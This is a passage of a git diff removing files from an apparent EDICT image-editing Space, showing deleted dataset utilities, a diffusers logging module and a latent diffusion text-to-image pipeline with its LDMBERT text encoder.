-                    #print(sample_images[sel_ind].shape)
-                    #print(temp_crop.shape)
-                    box = np.array([xmin, ymin, xmin+r_w, ymin+r_h], dtype=np.float32)
-                    if len(labels):
-                        labels = np.concatenate((labels, [[sample_labels[sel_ind], *box]]), 0)
-                    else:
-                        labels = np.array([[sample_labels[sel_ind], *box]])
-                              
-                    image[ymin:ymin+r_h, xmin:xmin+r_w] = temp_crop
-
-    return labels
-
-class Albumentations:
-    # YOLOv5 Albumentations class (optional, only used if package is installed)
-    def __init__(self):
-        self.transform = None
-        import albumentations as A
-
-        self.transform = A.Compose([
-            A.CLAHE(p=0.01),
-            A.RandomBrightnessContrast(brightness_limit=0.2, contrast_limit=0.2, p=0.01),
-            A.RandomGamma(gamma_limit=[80, 120], p=0.01),
-            A.Blur(p=0.01),
-            A.MedianBlur(p=0.01),
-            A.ToGray(p=0.01),
-            A.ImageCompression(quality_lower=75, p=0.01),],
-            bbox_params=A.BboxParams(format='pascal_voc', label_fields=['class_labels']))
-
-            #logging.info(colorstr('albumentations: ') + ', '.join(f'{x}' for x in self.transform.transforms if x.p))
-
-    def __call__(self, im, labels, p=1.0):
-        if self.transform and random.random() < p:
-            new = self.transform(image=im, bboxes=labels[:, 1:], class_labels=labels[:, 0])  # transformed
-            im, labels = new['image'], np.array([[c, *b] for c, b in zip(new['class_labels'], new['bboxes'])])
-        return im, labels
-
-
-def create_folder(path='./new'):
-    # Create folder
-    if os.path.exists(path):
-        shutil.rmtree(path)  # delete output folder
-    os.makedirs(path)  # make new output folder
-
-
-def flatten_recursive(path='../coco'):
-    # Flatten a recursive directory by bringing all files to top level
-    new_path = Path(path + '_flat')
-    create_folder(new_path)
-    for file in tqdm(glob.glob(str(Path(path)) + '/**/*.*', recursive=True)):
-        shutil.copyfile(file, new_path / Path(file).name)
-
-
-def extract_boxes(path='../coco/'):  # from utils.datasets import *; extract_boxes('../coco128')
-    # Convert detection dataset into classification dataset, with one directory per class
-
-    path = Path(path)  # images dir
-    shutil.rmtree(path / 'classifier') if (path / 'classifier').is_dir() else None  # remove existing
-    files = list(path.rglob('*.*'))
-    n = len(files)  # number of files
-    for im_file in tqdm(files, total=n):
-        if im_file.suffix[1:] in img_formats:
-            # image
-            im = cv2.imread(str(im_file))[..., ::-1]  # BGR to RGB
-            h, w = im.shape[:2]
-
-            # labels
-            lb_file = Path(img2label_paths([str(im_file)])[0])
-            if Path(lb_file).exists():
-                with open(lb_file, 'r') as f:
-                    lb = np.array([x.split() for x in f.read().strip().splitlines()], dtype=np.float32)  # labels
-
-                for j, x in enumerate(lb):
-                    c = int(x[0])  # class
-                    f = (path / 'classifier') / f'{c}' / f'{path.stem}_{im_file.stem}_{j}.jpg'  # new filename
-                    if not f.parent.is_dir():
-                        f.parent.mkdir(parents=True)
-
-                    b = x[1:] * [w, h, w, h]  # box
-                    # b[2:] = b[2:].max()  # rectangle to square
-                    b[2:] = b[2:] * 1.2 + 3  # pad
-                    b = xywh2xyxy(b.reshape(-1, 4)).ravel().astype(np.int)
-
-                    b[[0, 2]] = np.clip(b[[0, 2]], 0, w)  # clip boxes outside of image
-                    b[[1, 3]] = np.clip(b[[1, 3]], 0, h)
-                    assert cv2.imwrite(str(f), im[b[1]:b[3], b[0]:b[2]]), f'box failure in {f}'
-
-
-def autosplit(path='../coco', weights=(0.9, 0.1, 0.0), annotated_only=False):
-    """ Autosplit a dataset into train/val/test splits and save path/autosplit_*.txt files
-    Usage: from utils.datasets import *; autosplit('../coco')
-    Arguments
-        path:           Path to images directory
-        weights:        Train, val, test weights (list)
-        annotated_only: Only use images with an annotated txt file
-    """
-    path = Path(path)  # images dir
-    files = sum([list(path.rglob(f"*.{img_ext}")) for img_ext in img_formats], [])  # image files only
-    n = len(files)  # number of files
-    indices = random.choices([0, 1, 2], weights=weights, k=n)  # assign each image to a split
-
-    txt = ['autosplit_train.txt', 'autosplit_val.txt', 'autosplit_test.txt']  # 3 txt files
-    [(path / x).unlink() for x in txt if (path / x).exists()]  # remove existing
-
-    print(f'Autosplitting images from {path}' + ', using *.txt labeled images only' * annotated_only)
-    for i, img in tqdm(zip(indices, files), total=n):
-        if not annotated_only or Path(img2label_paths([str(img)])[0]).exists():  # check label
-            with open(path / txt[i], 'a') as f:
-                f.write(str(img) + '\n')  # add image to txt file
-    
-    
-def load_segmentations(self, index):
-    key = '/work/handsomejw66/coco17/' + self.img_files[index]
-    #print(key)
-    # /work/handsomejw66/coco17/
-    return self.segs[key]
diff --git a/spaces/Salesforce/EDICT/my_diffusers/utils/logging.py b/spaces/Salesforce/EDICT/my_diffusers/utils/logging.py
deleted file mode 100644
index 1f2d0227b87c66205ceb3391a8e98f5f33285dc4..0000000000000000000000000000000000000000
--- a/spaces/Salesforce/EDICT/my_diffusers/utils/logging.py
+++ /dev/null
@@ -1,344 +0,0 @@
-# coding=utf-8
-# Copyright 2020 Optuna, Hugging Face
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-""" Logging utilities."""
-
-import logging
-import os
-import sys
-import threading
-from logging import CRITICAL  # NOQA
-from logging import DEBUG  # NOQA
-from logging import ERROR  # NOQA
-from logging import FATAL  # NOQA
-from logging import INFO  # NOQA
-from logging import NOTSET  # NOQA
-from logging import WARN  # NOQA
-from logging import WARNING  # NOQA
-from typing import Optional
-
-from tqdm import auto as tqdm_lib
-
-
-_lock = threading.Lock()
-_default_handler: Optional[logging.Handler] = None
-
-log_levels = {
-    "debug": logging.DEBUG,
-    "info": logging.INFO,
-    "warning": logging.WARNING,
-    "error": logging.ERROR,
-    "critical": logging.CRITICAL,
-}
-
-_default_log_level = logging.WARNING
-
-_tqdm_active = True
-
-
-def _get_default_logging_level():
-    """
-    If DIFFUSERS_VERBOSITY env var is set to one of the valid choices return that as the new default level. If it is
-    not - fall back to `_default_log_level`
-    """
-    env_level_str = os.getenv("DIFFUSERS_VERBOSITY", None)
-    if env_level_str:
-        if env_level_str in log_levels:
-            return log_levels[env_level_str]
-        else:
-            logging.getLogger().warning(
-                f"Unknown option DIFFUSERS_VERBOSITY={env_level_str}, "
-                f"has to be one of: { ', '.join(log_levels.keys()) }"
-            )
-    return _default_log_level
-
-
-def _get_library_name() -> str:
-
-    return __name__.split(".")[0]
-
-
-def _get_library_root_logger() -> logging.Logger:
-
-    return logging.getLogger(_get_library_name())
-
-
-def _configure_library_root_logger() -> None:
-
-    global _default_handler
-
-    with _lock:
-        if _default_handler:
-            # This library has already configured the library root logger.
-            return
-        _default_handler = logging.StreamHandler()  # Set sys.stderr as stream.
-        _default_handler.flush = sys.stderr.flush
-
-        # Apply our default configuration to the library root logger.
-        library_root_logger = _get_library_root_logger()
-        library_root_logger.addHandler(_default_handler)
-        library_root_logger.setLevel(_get_default_logging_level())
-        library_root_logger.propagate = False
-
-
-def _reset_library_root_logger() -> None:
-
-    global _default_handler
-
-    with _lock:
-        if not _default_handler:
-            return
-
-        library_root_logger = _get_library_root_logger()
-        library_root_logger.removeHandler(_default_handler)
-        library_root_logger.setLevel(logging.NOTSET)
-        _default_handler = None
-
-
-def get_log_levels_dict():
-    return log_levels
-
-
-def get_logger(name: Optional[str] = None) -> logging.Logger:
-    """
-    Return a logger with the specified name.
-
-    This function is not supposed to be directly accessed unless you are writing a custom diffusers module.
-    """
-
-    if name is None:
-        name = _get_library_name()
-
-    _configure_library_root_logger()
-    return logging.getLogger(name)
-
-
-def get_verbosity() -> int:
-    """
-    Return the current level for the 🤗 Diffusers' root logger as an int.
-
-    Returns:
-        `int`: The logging level.
-
-    <Tip>
-
-    🤗 Diffusers has following logging levels:
-
-    - 50: `diffusers.logging.CRITICAL` or `diffusers.logging.FATAL`
-    - 40: `diffusers.logging.ERROR`
-    - 30: `diffusers.logging.WARNING` or `diffusers.logging.WARN`
-    - 20: `diffusers.logging.INFO`
-    - 10: `diffusers.logging.DEBUG`
-
-    </Tip>"""
-
-    _configure_library_root_logger()
-    return _get_library_root_logger().getEffectiveLevel()
-
-
-def set_verbosity(verbosity: int) -> None:
-    """
-    Set the verbosity level for the 🤗 Diffusers' root logger.
-
-    Args:
-        verbosity (`int`):
-            Logging level, e.g., one of:
-
-            - `diffusers.logging.CRITICAL` or `diffusers.logging.FATAL`
-            - `diffusers.logging.ERROR`
-            - `diffusers.logging.WARNING` or `diffusers.logging.WARN`
-            - `diffusers.logging.INFO`
-            - `diffusers.logging.DEBUG`
-    """
-
-    _configure_library_root_logger()
-    _get_library_root_logger().setLevel(verbosity)
-
-
-def set_verbosity_info():
-    """Set the verbosity to the `INFO` level."""
-    return set_verbosity(INFO)
-
-
-def set_verbosity_warning():
-    """Set the verbosity to the `WARNING` level."""
-    return set_verbosity(WARNING)
-
-
-def set_verbosity_debug():
-    """Set the verbosity to the `DEBUG` level."""
-    return set_verbosity(DEBUG)
-
-
-def set_verbosity_error():
-    """Set the verbosity to the `ERROR` level."""
-    return set_verbosity(ERROR)
-
-
-def disable_default_handler() -> None:
-    """Disable the default handler of the HuggingFace Diffusers' root logger."""
-
-    _configure_library_root_logger()
-
-    assert _default_handler is not None
-    _get_library_root_logger().removeHandler(_default_handler)
-
-
-def enable_default_handler() -> None:
-    """Enable the default handler of the HuggingFace Diffusers' root logger."""
-
-    _configure_library_root_logger()
-
-    assert _default_handler is not None
-    _get_library_root_logger().addHandler(_default_handler)
-
-
-def add_handler(handler: logging.Handler) -> None:
-    """adds a handler to the HuggingFace Diffusers' root logger."""
-
-    _configure_library_root_logger()
-
-    assert handler is not None
-    _get_library_root_logger().addHandler(handler)
-
-
-def remove_handler(handler: logging.Handler) -> None:
-    """removes given handler from the HuggingFace Diffusers' root logger."""
-
-    _configure_library_root_logger()
-
-    assert handler is not None and handler not in _get_library_root_logger().handlers
-    _get_library_root_logger().removeHandler(handler)
-
-
-def disable_propagation() -> None:
-    """
-    Disable propagation of the library log outputs. Note that log propagation is disabled by default.
-    """
-
-    _configure_library_root_logger()
-    _get_library_root_logger().propagate = False
-
-
-def enable_propagation() -> None:
-    """
-    Enable propagation of the library log outputs. Please disable the HuggingFace Diffusers' default handler to prevent
-    double logging if the root logger has been configured.
-    """
-
-    _configure_library_root_logger()
-    _get_library_root_logger().propagate = True
-
-
-def enable_explicit_format() -> None:
-    """
-    Enable explicit formatting for every HuggingFace Diffusers' logger. The explicit formatter is as follows:
-    ```
-        [LEVELNAME|FILENAME|LINE NUMBER] TIME >> MESSAGE
-    ```
-    All handlers currently bound to the root logger are affected by this method.
-    """
-    handlers = _get_library_root_logger().handlers
-
-    for handler in handlers:
-        formatter = logging.Formatter("[%(levelname)s|%(filename)s:%(lineno)s] %(asctime)s >> %(message)s")
-        handler.setFormatter(formatter)
-
-
-def reset_format() -> None:
-    """
-    Resets the formatting for HuggingFace Diffusers' loggers.
-
-    All handlers currently bound to the root logger are affected by this method.
-    """
-    handlers = _get_library_root_logger().handlers
-
-    for handler in handlers:
-        handler.setFormatter(None)
-
-
-def warning_advice(self, *args, **kwargs):
-    """
-    This method is identical to `logger.warninging()`, but if env var DIFFUSERS_NO_ADVISORY_WARNINGS=1 is set, this
-    warning will not be printed
-    """
-    no_advisory_warnings = os.getenv("DIFFUSERS_NO_ADVISORY_WARNINGS", False)
-    if no_advisory_warnings:
-        return
-    self.warning(*args, **kwargs)
-
-
-logging.Logger.warning_advice = warning_advice
-
-
-class EmptyTqdm:
-    """Dummy tqdm which doesn't do anything."""
-
-    def __init__(self, *args, **kwargs):  # pylint: disable=unused-argument
-        self._iterator = args[0] if args else None
-
-    def __iter__(self):
-        return iter(self._iterator)
-
-    def __getattr__(self, _):
-        """Return empty function."""
-
-        def empty_fn(*args, **kwargs):  # pylint: disable=unused-argument
-            return
-
-        return empty_fn
-
-    def __enter__(self):
-        return self
-
-    def __exit__(self, type_, value, traceback):
-        return
-
-
-class _tqdm_cls:
-    def __call__(self, *args, **kwargs):
-        if _tqdm_active:
-            return tqdm_lib.tqdm(*args, **kwargs)
-        else:
-            return EmptyTqdm(*args, **kwargs)
-
-    def set_lock(self, *args, **kwargs):
-        self._lock = None
-        if _tqdm_active:
-            return tqdm_lib.tqdm.set_lock(*args, **kwargs)
-
-    def get_lock(self):
-        if _tqdm_active:
-            return tqdm_lib.tqdm.get_lock()
-
-
-tqdm = _tqdm_cls()
-
-
-def is_progress_bar_enabled() -> bool:
-    """Return a boolean indicating whether tqdm progress bars are enabled."""
-    global _tqdm_active
-    return bool(_tqdm_active)
-
-
-def enable_progress_bar():
-    """Enable tqdm progress bar."""
-    global _tqdm_active
-    _tqdm_active = True
-
-
-def disable_progress_bar():
-    """Disable tqdm progress bar."""
-    global _tqdm_active
-    _tqdm_active = False
diff --git a/spaces/Salesforce/EDICT/my_half_diffusers/pipelines/latent_diffusion/pipeline_latent_diffusion.py b/spaces/Salesforce/EDICT/my_half_diffusers/pipelines/latent_diffusion/pipeline_latent_diffusion.py
deleted file mode 100644
index b39840f2436b1deda0443fe0883eb4d1f6b73957..0000000000000000000000000000000000000000
--- a/spaces/Salesforce/EDICT/my_half_diffusers/pipelines/latent_diffusion/pipeline_latent_diffusion.py
+++ /dev/null
@@ -1,705 +0,0 @@
-import inspect
-import warnings
-from typing import List, Optional, Tuple, Union
-
-import torch
-import torch.nn as nn
-import torch.utils.checkpoint
-
-from transformers.activations import ACT2FN
-from transformers.configuration_utils import PretrainedConfig
-from transformers.modeling_outputs import BaseModelOutput
-from transformers.modeling_utils import PreTrainedModel
-from transformers.tokenization_utils import PreTrainedTokenizer
-from transformers.utils import logging
-
-from ...models import AutoencoderKL, UNet2DConditionModel, UNet2DModel, VQModel
-from ...pipeline_utils import DiffusionPipeline, ImagePipelineOutput
-from ...schedulers import DDIMScheduler, LMSDiscreteScheduler, PNDMScheduler
-
-
-class LDMTextToImagePipeline(DiffusionPipeline):
-    r"""
-    This model inherits from [`DiffusionPipeline`]. Check the superclass documentation for the generic methods the
-    library implements for all the pipelines (such as downloading or saving, running on a particular device, etc.)
-
-    Parameters:
-        vqvae ([`VQModel`]):
-            Vector-quantized (VQ) Model to encode and decode images to and from latent representations.
-        bert ([`LDMBertModel`]):
-            Text-encoder model based on [BERT](ttps://huggingface.co/docs/transformers/model_doc/bert) architecture.
-        tokenizer (`transformers.BertTokenizer`):
-            Tokenizer of class
-            [BertTokenizer](https://huggingface.co/docs/transformers/model_doc/bert#transformers.BertTokenizer).
-        unet ([`UNet2DConditionModel`]): Conditional U-Net architecture to denoise the encoded image latents.
-        scheduler ([`SchedulerMixin`]):
-            A scheduler to be used in combination with `unet` to denoise the encoded image latens. Can be one of
-            [`DDIMScheduler`], [`LMSDiscreteScheduler`], or [`PNDMScheduler`].
-    """
-
-    def __init__(
-        self,
-        vqvae: Union[VQModel, AutoencoderKL],
-        bert: PreTrainedModel,
-        tokenizer: PreTrainedTokenizer,
-        unet: Union[UNet2DModel, UNet2DConditionModel],
-        scheduler: Union[DDIMScheduler, PNDMScheduler, LMSDiscreteScheduler],
-    ):
-        super().__init__()
-        scheduler = scheduler.set_format("pt")
-        self.register_modules(vqvae=vqvae, bert=bert, tokenizer=tokenizer, unet=unet, scheduler=scheduler)
-
-    @torch.no_grad()
-    def __call__(
-        self,
-        prompt: Union[str, List[str]],
-        height: Optional[int] = 256,
-        width: Optional[int] = 256,
-        num_inference_steps: Optional[int] = 50,
-        guidance_scale: Optional[float] = 1.0,
-        eta: Optional[float] = 0.0,
-        generator: Optional[torch.Generator] = None,
-        output_type: Optional[str] = "pil",
-        return_dict: bool = True,
-        **kwargs,
-    ) -> Union[Tuple, ImagePipelineOutput]:
-        r"""
-        Args:
-            prompt (`str` or `List[str]`):
-                The prompt or prompts to guide the image generation.
-            height (`int`, *optional*, defaults to 256):
-                The height in pixels of the generated image.
-            width (`int`, *optional*, defaults to 256):
-                The width in pixels of the generated image.
-            num_inference_steps (`int`, *optional*, defaults to 50):
-                The number of denoising steps. More denoising steps usually lead to a higher quality image at the
-                expense of slower inference.
-            guidance_scale (`float`, *optional*, defaults to 1.0):
-                Guidance scale as defined in [Classifier-Free Diffusion Guidance](https://arxiv.org/abs/2207.12598).
-                `guidance_scale` is defined as `w` of equation 2. of [Imagen
-                Paper](https://arxiv.org/pdf/2205.11487.pdf). Guidance scale is enabled by setting `guidance_scale >
-                1`. Higher guidance scale encourages to generate images that are closely linked to the text `prompt` at
-                the, usually at the expense of lower image quality.
-            generator (`torch.Generator`, *optional*):
-                A [torch generator](https://pytorch.org/docs/stable/generated/torch.Generator.html) to make generation
-                deterministic.
-            output_type (`str`, *optional*, defaults to `"pil"`):
-                The output format of the generate image. Choose between
-                [PIL](https://pillow.readthedocs.io/en/stable/): `PIL.Image.Image` or `nd.array`.
-            return_dict (`bool`, *optional*):
-                Whether or not to return a [`~pipeline_utils.ImagePipelineOutput`] instead of a plain tuple.
-
-        Returns:
-            [`~pipeline_utils.ImagePipelineOutput`] or `tuple`: [`~pipelines.utils.ImagePipelineOutput`] if
-            `return_dict` is True, otherwise a `tuple. When returning a tuple, the first element is a list with the
-            generated images.
-        """
-        if "torch_device" in kwargs:
-            device = kwargs.pop("torch_device")
-            warnings.warn(
-                "`torch_device` is deprecated as an input argument to `__call__` and will be removed in v0.3.0."
-                " Consider using `pipe.to(torch_device)` instead."
-            )
-
-            # Set device as before (to be removed in 0.3.0)
-            if device is None:
-                device = "cuda" if torch.cuda.is_available() else "cpu"
-            self.to(device)
-
-        if isinstance(prompt, str):
-            batch_size = 1
-        elif isinstance(prompt, list):
-            batch_size = len(prompt)
-        else:
-            raise ValueError(f"`prompt` has to be of type `str` or `list` but is {type(prompt)}")
-
-        if height % 8 != 0 or width % 8 != 0:
-            raise ValueError(f"`height` and `width` have to be divisible by 8 but are {height} and {width}.")
-
-        # get unconditional embeddings for classifier free guidance
-        if guidance_scale != 1.0:
-            uncond_input = self.tokenizer([""] * batch_size, padding="max_length", max_length=77, return_tensors="pt")
-            uncond_embeddings = self.bert(uncond_input.input_ids.to(self.device))[0]
-
-        # get prompt text embeddings
-        text_input = self.tokenizer(prompt, padding="max_length", max_length=77, return_tensors="pt")
-        text_embeddings = self.bert(text_input.input_ids.to(self.device))[0]
-
-        latents = torch.randn(
-            (batch_size, self.unet.in_channels, height // 8, width // 8),
-            generator=generator,
-        )
-        latents = latents.to(self.device)
-
-        self.scheduler.set_timesteps(num_inference_steps)
-
-        # prepare extra kwargs for the scheduler step, since not all schedulers have the same signature
-        accepts_eta = "eta" in set(inspect.signature(self.scheduler.step).parameters.keys())
-
-        extra_kwargs = {}
-        if accepts_eta:
-            extra_kwargs["eta"] = eta
-
-        for t in self.progress_bar(self.scheduler.timesteps):
-            if guidance_scale == 1.0:
-                # guidance_scale of 1 means no guidance
-                latents_input = latents
-                context = text_embeddings
-            else:
-                # For classifier free guidance, we need to do two forward passes.
-                # Here we concatenate the unconditional and text embeddings into a single batch
-                # to avoid doing two forward passes
-                latents_input = torch.cat([latents] * 2)
-                context = torch.cat([uncond_embeddings, text_embeddings])
-
-            # predict the noise residual
-            noise_pred = self.unet(latents_input, t, encoder_hidden_states=context).sample
-            # perform guidance
-            if guidance_scale != 1.0:
-                noise_pred_uncond, noise_prediction_text = noise_pred.chunk(2)
-                noise_pred = noise_pred_uncond + guidance_scale * (noise_prediction_text - noise_pred_uncond)
-
-            # compute the previous noisy sample x_t -> x_t-1
-            latents = self.scheduler.step(noise_pred, t, latents, **extra_kwargs).prev_sample
-
-        # scale and decode the image latents with vae
-        latents = 1 / 0.18215 * latents
-        image = self.vqvae.decode(latents).sample
-
-        image = (image / 2 + 0.5).clamp(0, 1)
-        image = image.cpu().permute(0, 2, 3, 1).numpy()
-        if output_type == "pil":
-            image = self.numpy_to_pil(image)
-
-        if not return_dict:
-            return (image,)
-
-        return ImagePipelineOutput(images=image)
-
-
-################################################################################
-# Code for the text transformer model
-################################################################################
-""" PyTorch LDMBERT model."""
-
-
-logger = logging.get_logger(__name__)
-
-LDMBERT_PRETRAINED_MODEL_ARCHIVE_LIST = [
-    "ldm-bert",
-    # See all LDMBert models at https://huggingface.co/models?filter=ldmbert
-]
-
-
-LDMBERT_PRETRAINED_CONFIG_ARCHIVE_MAP = {
-    "ldm-bert": "https://huggingface.co/ldm-bert/resolve/main/config.json",
-}
-
-
-""" LDMBERT model configuration"""
-
-
-class LDMBertConfig(PretrainedConfig):
-    model_type = "ldmbert"
-    keys_to_ignore_at_inference = ["past_key_values"]
-    attribute_map = {"num_attention_heads": "encoder_attention_heads", "hidden_size": "d_model"}
-
-    def __init__(
-        self,
-        vocab_size=30522,
-        max_position_embeddings=77,
-        encoder_layers=32,
-        encoder_ffn_dim=5120,
-        encoder_attention_heads=8,
-        head_dim=64,
-        encoder_layerdrop=0.0,
-        activation_function="gelu",
-        d_model=1280,
-        dropout=0.1,
-        attention_dropout=0.0,
-        activation_dropout=0.0,
-        init_std=0.02,
-        classifier_dropout=0.0,
-        scale_embedding=False,
-        use_cache=True,
-        pad_token_id=0,
-        **kwargs,
-    ):
-        self.vocab_size = vocab_size
-        self.max_position_embeddings = max_position_embeddings
-        self.d_model = d_model
-        self.encoder_ffn_dim = encoder_ffn_dim
-        self.encoder_layers = encoder_layers
-        self.encoder_attention_heads = encoder_attention_heads
-        self.head_dim = head_dim
-        self.dropout = dropout
-        self.attention_dropout = attention_dropout
-        self.activation_dropout = activation_dropout
-        self.activation_function = activation_function
-        self.init_std = init_std
-        self.encoder_layerdrop = encoder_layerdrop
-        self.classifier_dropout = classifier_dropout
-        self.use_cache = use_cache
-        self.num_hidden_layers = encoder_layers
-        self.scale_embedding = scale_embedding  # scale factor will be sqrt(d_model) if True
-
-        super().__init__(pad_token_id=pad_token_id, **kwargs)
-
-
-def _expand_mask(mask: torch.Tensor, dtype: torch.dtype, tgt_len: Optional[int] = None):
-    """
-    Expands attention_mask from `[bsz, seq_len]` to `[bsz, 1, tgt_seq_len, src_seq_len]`.
-    """
-    bsz, src_len = mask.size()
-    tgt_len = tgt_len if tgt_len is not None else src_len
-
-    expanded_mask = mask[:, None, None, :].expand(bsz, 1, tgt_len, src_len).to(dtype)
-
-    inverted_mask = 1.0 - expanded_mask
-
-    return inverted_mask.masked_fill(inverted_mask.to(torch.bool), torch.finfo(dtype).min)
-
-
-# Copied from transformers.models.bart.modeling_bart.BartAttention with Bart->LDMBert
-class LDMBertAttention(nn.Module):
-    """Multi-headed attention from 'Attention Is All You Need' paper"""
-
-    def __init__(
-        self,
-        embed_dim: int,
-        num_heads: int,
-        head_dim: int,
-        dropout: float = 0.0,
-        is_decoder: bool = False,
-        bias: bool = False,
-    ):
-        super().__init__()
-        self.embed_dim = embed_dim
-        self.num_heads = num_heads
-        self.dropout = dropout
-        self.head_dim = head_dim
-        self.inner_dim = head_dim * num_heads
-
-        self.scaling = self.head_dim**-0.5
-        self.is_decoder = is_decoder
-
-        self.k_proj = nn.Linear(embed_dim, self.inner_dim, bias=bias)
-        self.v_proj = nn.Linear(embed_dim, self.inner_dim, bias=bias)
-        self.q_proj = nn.Linear(embed_dim, self.inner_dim, bias=bias)
-        self.out_proj = nn.Linear(self.inner_dim, embed_dim)
-
-    def _shape(self, tensor: torch.Tensor, seq_len: int, bsz: int):
-        return tensor.view(bsz, seq_len, self.num_heads, self.head_dim).transpose(1, 2).contiguous()
-
-    def forward(
-        self,
-        hidden_states: torch.Tensor,
-        key_value_states: Optional[torch.Tensor] = None,
-        past_key_value: Optional[Tuple[torch.Tensor]] = None,
-        attention_mask: Optional[torch.Tensor] = None,
-        layer_head_mask: Optional[torch.Tensor] = None,
-        output_attentions: bool = False,
-    ) -> Tuple[torch.Tensor, Optional[torch.Tensor], Optional[Tuple[torch.Tensor]]]:
-        """Input shape: Batch x Time x Channel"""
-
-        # if key_value_states are provided this layer is used as a cross-attention layer
-        # for the decoder
-        is_cross_attention = key_value_states is not None
-
-        bsz, tgt_len, _ = hidden_states.size()
-
-        # get query proj
-        query_states = self.q_proj(hidden_states) * self.scaling
-        # get key, value proj
-        if is_cross_attention and past_key_value is not None:
-            # reuse k,v, cross_attentions
-            key_states = past_key_value[0]
-            value_states = past_key_value[1]
-        elif is_cross_attention:
-            # cross_attentions
-            key_states = self._shape(self.k_proj(key_value_states), -1, bsz)
-            value_states = self._shape(self.v_proj(key_value_states), -1, bsz)
-        elif past_key_value is not None:
-            # reuse k, v, self_attention
-            key_states = self._shape(self.k_proj(hidden_states), -1, bsz)
-            value_states = self._shape(self.v_proj(hidden_states), -1, bsz)
-            key_states = torch.cat([past_key_value[0], key_states], dim=2)
-            value_states = torch.cat([past_key_value[1], value_states], dim=2)
-        else:
-            # self_attention
-            key_states = self._shape(self.k_proj(hidden_states), -1, bsz)
-            value_states = self._shape(self.v_proj(hidden_states), -1, bsz)
-
-        if self.is_decoder:
-            # if cross_attention save Tuple(torch.Tensor, torch.Tensor) of all cross attention key/value_states.
-            # Further calls to cross_attention layer can then reuse all cross-attention
-            # key/value_states (first "if" case)
-            # if uni-directional self-attention (decoder) save Tuple(torch.Tensor, torch.Tensor) of
-            # all previous decoder key/value_states. Further calls to uni-directional self-attention
-            # can concat previous decoder key/value_states to current projected key/value_states (third "elif" case)
-            # if encoder bi-directional self-attention `past_key_value` is always `None`
-            past_key_value = (key_states, value_states)
-
-        proj_shape = (bsz * self.num_heads, -1, self.head_dim)
-        query_states = self._shape(query_states, tgt_len, bsz).view(*proj_shape)
-        key_states = key_states.view(*proj_shape)
-        value_states = value_states.view(*proj_shape)
-
-        src_len = key_states.size(1)
-        attn_weights = torch.bmm(query_states, key_states.transpose(1, 2))
-
-        if attn_weights.size() != (bsz * self.num_heads, tgt_len, src_len):
-            raise ValueError(
-                f"Attention weights should be of size {(bsz * self.num_heads, tgt_len, src_len)}, but is"
-                f" {attn_weights.size()}"
-            )
-
-        if attention_mask is not None:
-            if attention_mask.size() != (bsz, 1, tgt_len, src_len):
-                raise ValueError(
-                    f"Attention mask should be of size {(bsz, 1, tgt_len, src_len)}, but is {attention_mask.size()}"
-                )
-            attn_weights = attn_weights.view(bsz, self.num_heads, tgt_len, src_len) + attention_mask
-            attn_weights = attn_weights.view(bsz * self.num_heads, tgt_len, src_len)
-
-        attn_weights = nn.functional.softmax(attn_weights, dim=-1)
-
-        if layer_head_mask is not None:
-            if layer_head_mask.size() != (self.num_heads,):
-                raise ValueError(
-                    f"Head mask for a single layer should be of size {(self.num_heads,)}, but is"
-                    f" {layer_head_mask.size()}"
-                )
-            attn_weights = layer_head_mask.view(1, -1, 1, 1) * attn_weights.view(bsz, self.num_heads, tgt_len, src_len)
-            attn_weights = attn_weights.view(bsz * self.num_heads, tgt_len, src_len)
-
-        if output_attentions:
-            # this operation is a bit awkward, but it's required to
-            # make sure that attn_weights keeps its gradient.
-            # In order to do so, attn_weights have to be reshaped
-            # twice and have to be reused in the following
-            attn_weights_reshaped = attn_weights.view(bsz, self.num_heads, tgt_len, src_len)
-            attn_weights = attn_weights_reshaped.view(bsz * self.num_heads, tgt_len, src_len)
-        else:
-            attn_weights_reshaped = None
-
-        attn_probs = nn.functional.dropout(attn_weights, p=self.dropout, training=self.training)
-
-        attn_output = torch.bmm(attn_probs, value_states)
-
-        if attn_output.size() != (bsz * self.num_heads, tgt_len, self.head_dim):
-            raise ValueError(
-                f"`attn_output` should be of size {(bsz, self.num_heads, tgt_len, self.head_dim)}, but is"
-                f" {attn_output.size()}"
-            )
-
-        attn_output = attn_output.view(bsz, self.num_heads, tgt_len, self.head_dim)
-        attn_output = attn_output.transpose(1, 2)
-
-        # Use the `embed_dim` from the config (stored in the class) rather than `hidden_state` because `attn_output` can be
-        # partitioned aross GPUs when using tensor-parallelism.
-        attn_output = attn_output.reshape(bsz, tgt_len, self.inner_dim)
-
-        attn_output = self.out_proj(attn_output)
-
-        return attn_output, attn_weights_reshaped, past_key_value
-
-
-class LDMBertEncoderLayer(nn.Module):
-    def __init__(self, config: LDMBertConfig):
-        super().__init__()
-        self.embed_dim = config.d_model
-        self.self_attn = LDMBertAttention(
-            embed_dim=self.embed_dim,
-            num_heads=config.encoder_attention_heads,
-            head_dim=config.head_dim,
-            dropout=config.attention_dropout,
-        )
-        self.self_attn_layer_norm = nn.LayerNorm(self.embed_dim)
-        self.dropout = config.dropout
-        self.activation_fn = ACT2FN[config.activation_function]
-        self.activation_dropout = config.activation_dropout
-        self.fc1 = nn.Linear(self.embed_dim, config.encoder_ffn_dim)
-        self.fc2 = nn.Linear(config.encoder_ffn_dim, self.embed_dim)
-        self.final_layer_norm = nn.LayerNorm(self.embed_dim)
-
-    def forward(
-        self,
-        hidden_states: torch.FloatTensor,
-        attention_mask: torch.FloatTensor,
-        layer_head_mask: torch.FloatTensor,
-        output_attentions: Optional[bool] = False,
-    ) -> Tuple[torch.FloatTensor, Optional[torch.FloatTensor]]:
-        """
-        Args:
-            hidden_states (`torch.FloatTensor`): input to the layer of shape `(seq_len, batch, embed_dim)`
-            attention_mask (`torch.FloatTensor`): attention mask of size
-                `(batch, 1, tgt_len, src_len)` where padding elements are indicated by very large negative values.
-            layer_head_mask (`torch.FloatTensor`): mask for attention heads in a given layer of size
-                `(encoder_attention_heads,)`.
-            output_attentions (`bool`, *optional*):
-                Whether or not to return the attentions tensors of all attention layers. See `attentions` under
-                returned tensors for more detail.
-        """
-        residual = hidden_states
-        hidden_states = self.self_attn_layer_norm(hidden_states)
-        hidden_states, attn_weights, _ = self.self_attn(
-            hidden_states=hidden_states,
